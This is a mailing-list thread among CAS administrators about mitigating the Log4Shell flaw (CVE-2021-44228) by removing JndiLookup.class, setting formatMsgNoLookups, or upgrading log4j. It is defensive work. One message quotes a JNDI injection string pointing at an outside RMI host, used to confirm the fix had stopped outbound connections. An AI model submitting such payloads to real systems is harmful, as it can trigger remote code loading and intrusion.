I've rebuilt CAS with log4j 2.15.0 and confirmed that doing so stopped 
outgoing connections when a line like 
${jndi:rmi://www.example.com:80/test}
was submitted in the username field (I used a real hostname rather than 
www.example.com).

We were able to verify this fix with tcpdump on the CAS node as well as 
border-firewall logging.
On Friday, December 10, 2021 at 1:59:00 PM UTC-5 richard.frovarp wrote:

> Maybe? The one that I've seen
> https://logging.apache.org/log4j/2.x/security.html
>
> says set it as a system property, so -Dlog4j2.formatMsgNoLookups=true to 
> your JVM and not in the config file.
>
> On 12/10/21 12:55 PM, Mike Osterman wrote:
>
> Yeah, it seems like setting the log4j2.formatMsgNoLookups to "true" in 
> the log4j2.xml config file might do to trick. 
>
> I'm guessing we'd do that somewhere here at the top?
>
> <?xml version="1.0" encoding="UTF-8" ?>
> <!-- Specify the refresh internal in seconds. -->
> <Configuration monitorInterval="5" packages="org.apereo.cas.logging">
>     <Properties>
>         <Property name="baseDir">/etc/cas/logs</Property>
>     </Properties>
>     <Appenders>
>
> On Fri, Dec 10, 2021 at 10:41 AM 'Richard Frovarp' via CAS Community <
> cas-...@apereo.org> wrote:
>
>> Using a new enough version of the JDK might also alleviate it? The other 
>> option is to throw the config option at the JDK to stop it from happening. 
>> That would seem to be easiest.
>>
>> On 12/10/21 12:36 PM, King, Robert wrote:
>>
>> https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228
>>
>>  
>>
>> Has anyone attempted to mitigate this CVE yet?
>>
>>  
>>
>> There seems to be two possible approaches to mitigation:
>>
>>  
>>
>> 1 The sledgehammer approach of removing the JndiLookup.class from the jar 
>> files:
>>
>>  
>>
>> zip –q –d log4j-core-*.jar 
>> org/apache/logging/log4j/core/lookup/JndiLookup.class
>>
>>  
>>
>> 2. Rebuild CAS and set “log4jVersion=2.15.0”
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